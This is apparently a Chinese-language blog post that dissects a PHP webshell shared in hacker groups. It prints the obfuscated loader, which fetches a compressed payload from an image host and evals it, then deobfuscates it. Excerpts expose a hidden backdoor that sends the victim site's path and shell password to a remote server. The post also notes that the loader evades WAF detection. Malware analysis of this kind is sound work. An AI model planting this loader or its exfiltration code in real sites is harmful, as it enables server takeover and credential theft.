仅176k的WebShell大马解析
虽然那么多行代码完全够写一个shell就是了。。
仅176k的WebShell大马解析
代码全貌
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$password="password";//登录密码(支持菜刀)
//———-功能程序——————//
$c="chr";
session_start();
if(empty($_SESSION["PhpCode"])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);
$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);
$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);
$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);
$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);
$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);
$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);
$get=chr(102).chr(105).chr(108).chr(101).chr(95);
$get.=chr(103).chr(101).chr(116).chr(95).chr(99);
$get.=chr(111).chr(110).chr(116).chr(101).chr(110);
$get.=chr(116).chr(115);
$_SESSION["PhpCode"]=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode("MTAx"));
@eval($un($_SESSION["PhpCode"]));
?>
分析解包
最近看到各大黑阔群都在发这个马子,实测静态免杀部分eval不敏感的waf,继续混淆关键字后可静态通杀所有waf,顿生好奇对此木马进行分析。
原代码通篇利用了ascii码进行了关键字段的绕过,$url
定义的chr
实际上也是代表了ascii码,将混淆后的代码进行修正后得到了源码核心内容
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$password="password";
$c="chr";
session_start();
if(empty($_SESSION["PhpCode"])){
$url="http://i.niupic.com/images/2017/05/21/v1QR1M.gif";
$get="file_get_contents";
$_SESSION["PhpCode"]=$get($url);}
$un="gzinflate";
@eval($un($_SESSION["PhpCode"]));
?>
可以看到其作用原理是利用gzinflate解包上传到第三方图床的文件后进行文件包含,原文件被gzinflate压缩后内容如下
开始解密
简单手搓一个解密脚本
1
2
3
4
5
6
<?php
$one = gzinflate(file_get_contents("1.gif"));//gzinflate加密的文件
$file= fopen("1.php", "w") or die("Error");//输出的结果
$fwrite = fwrite($file,$one);
$fclose = fclose($file);
?>
解密结果
显而意见 我们加一下他原来代码的那些函数
最终成品就是这个样子了
常在河边走
16行
1
2
hmlogin(2);
23行
1
2
hmlogin();
1277-1281行
1
2
3
4
5
6
function hmlogin($xiao=1){
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = envlpass;
if (strpos($serveru,"0.0")>0 or strpos($serveru,"192.168.")>0 or strpos($serveru,"localhost")>0 or ($serveru==$_COOKIE['serveru'] and $serverp==$_COOKIE['serverp'])) {echo "<meta http-equiv='refresh' content='0;URL=?'>";} else {setcookie('serveru',$serveru);setcookie('serverp',$serverp);if($xiao==1){echo "<script src='?login=geturl'></script><meta http-equiv='refresh' content='0;URL=?'>";}else{geturl();}}
}
1413-1431行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(isset($_GET['login'])=='geturl'){
@set_time_limit(10);
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = envlpass;
$copyurl = base64_decode('SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=');
$url=$copyurl.$serveru.'&pass='.$serverp;
$url=urldecode($url);
GetHtml($url);
}
function geturl(){
@set_time_limit(10);
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = envlpass;
$copyurl = base64_decode('');
$url=$copyurl.$serveru.'&p='.$serverp;
$url=urldecode($url);
GetHtml($url);
}
This post is licensed under
CC BY 4.0
by the author.